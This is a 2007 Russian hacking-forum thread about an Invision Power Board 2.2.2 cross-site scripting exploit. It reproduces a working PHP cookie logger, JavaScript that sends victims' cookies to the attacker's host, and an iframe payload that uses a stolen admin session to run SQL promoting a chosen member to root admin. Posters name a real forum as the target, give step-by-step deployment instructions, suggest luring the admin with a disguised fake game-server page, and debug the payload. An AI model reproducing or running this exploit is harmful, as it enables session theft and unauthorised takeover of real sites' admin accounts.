Форумы Ipb 2.2.2

Discussion in 'Уязвимости CMS/форумов' started by ch[@]ch, 24 Aug 2007.

  1. ch[@]ch

    ch[@]ch Banned

    Joined:
    21 Jun 2007
    Messages:
    1
    Likes Received:
    16
    Reputations:
    -2
    PHP:
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

    #   Invision Power Board 2.2.2 Cross Site Scripting vulnerability 

    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    #   Vendor site: http://www.invisionboard.com/ 
    #   Vulnerability found by Iron (ironwarez.info) 

    #   Greets to all **** Security Group members     

    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    #   The vulnerability: 
    #   Open up any php file in /jscripts/folder_rte_files 
    #    See: 

        var editor_id         = <?php print '"'.trim($_REQUEST['editorid']).'";'?> 
         

    #   $_REQUEST['editorid'] isn't sanitized in any way, so allows 
    #   other uses to execute their own code. 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    #   PoC (Log cookies & run SQL query) 

    #   Requirements: server supporting PHP, user account on 
    #   target forum, database prefix needs to be known. 

    #   Create a file called name.php on your webserver and put this code in it: 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

    <?php 
    $target 
    "http://www.l2.rednet.su/forum"#Target forum without trailing slash 
    $prefix "ibf_"#Database prefix, default: ibf_ 
    $member 22#Member id to promote 
    $newgroup 4# The id of the new group to promote, normally 4 is root admin 

    $ip $_SERVER['REMOTE_ADDR']; 
    $referer $_SERVER['HTTP_REFERER']; 
    $agent $_SERVER['HTTP_USER_AGENT']; 

    $data $_GET['c']; 
    $time date("Y-m-d G:i:s A"); 
    $text "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n"

    $file fopen('log.txt' 'a'); 
    fwrite($file,$text); 
    fclose($file); 
    if(
    preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff)) 

    print 
    '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+ 
    '
    .$prefix.'members+SET 
    +mgroup+%3D+%27'
    .$newgroup.'%27+WHERE+id+%3D+%27'.  $member.'%27&st="></>'

    ?> 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    #    Also create a file in the same directory named "log.txt" and chmod it 777 

    #    Now, create a file called script.js on your webserver, put this code in it: 

    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

    document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie; 

    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

    #    And, last but not least, create a file that combines those two;) 
    #    Name it blah.html and put this code in it: 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

    <iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></ 
    script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe> 
    нашел скрипт на ачате....спс автору...но есть вопрос....запустить я научился....но вот пользоваться нет,никак не могу понять что куда вписать....нужен такой же скрипт для сайта http://l2.rednet.su/news.php ....пожалуйста,помогите!!
     
  2. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    В скрипте где-то ошибка и он не работает, я спрашивал за этот сплойт - толком путевого ответа не получил
     
  3. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Выложи его в рабочем состоянии
    Я на локалхосте проверял
    adminindex.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+ '.$prefix.'members+SET+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'.$member.'%27&st=
    Эта строчка пашет
    а все вместе - нет
     
  4. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    сначала создашь файл name.php у себя на хосте
    PHP:
    <?php  
    $target 
    "http://www.l2.rednet.su/forum"#Target forum without trailing slash  
    $prefix "ibf_"#Database prefix, default: ibf_  
    $member 22#Member id to promote  
    $newgroup 4# The id of the new group to promote, normally 4 is root admin  

    $ip $_SERVER['REMOTE_ADDR'];  
    $referer $_SERVER['HTTP_REFERER'];  
    $agent $_SERVER['HTTP_USER_AGENT'];  

    $data $_GET['c'];  
    $time date("Y-m-d G:i:s A");  
    $text "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n";  

    $file fopen('log.txt' 'a');  
    fwrite($file,$text);  
    fclose($file);  
    if(
    preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff))  
    {  
    print 
    '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+  
    '
    .$prefix.'members+SET  
    +mgroup+%3D+%27'
    .$newgroup.'%27+WHERE+id+%3D+%27'.    $member.'%27&st="></>';  
    }  
    ?> 
    2) Далее делаешь файл в той же папке log.txt и ставишь атрибуты 777

    3) Делаешь файл script.js на своем хосте:
    Code:
    document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie;
    
    4)Создаешь файл blah.html, такого содержания:
    Code:
    <iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></  
    script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe> 
    
    5)Отсылаешь админу или кому угодно ссылку на blah.html, если попадеться админ,который только что из админки, то юзер id которого ты указал попадет в группу админов, а если просто юзер, то его печеньки будут записаны в log.txt

    З,Ы, В blah.html засунь какуй-нить инфу кроме ифреймов, что типо без палева ( как вариант делаешь фейк страницу, какого нить ла2 сервера ( я так понял ты его ломаешь) и отсылаешь, типо обмен банерами) и ГЛАВНОЕ не забудь поставить все пути в коде

    2Nightmare
    Там сессия нужна только что бы повысить юзера до админа
     
    1 person likes this.
  5. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Кто-нибудь наконец исправит ошибку в сплойте или уже 3-я подобная тема пройдет
    Пробелы - не в счет
     
  6. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    может у тебя просто префикс другой ?
     
  7. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Нет, префикс правильный, на локал хосте пробовал, форум уязвим
     
  8. ch[@]ch

    ch[@]ch Banned

    Joined:
    21 Jun 2007
    Messages:
    1
    Likes Received:
    16
    Reputations:
    -2
    To maxster]
    слушай...а в самом скрипте изменить ниче не надо?
     
  9. ch[@]ch

    ch[@]ch Banned

    Joined:
    21 Jun 2007
    Messages:
    1
    Likes Received:
    16
    Reputations:
    -2
    а как???для форума http://l2.rednet.su/forum/index.php
     
  10. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Кстати ошибка заключалась в том, что за место тега img нажно было поставить iframe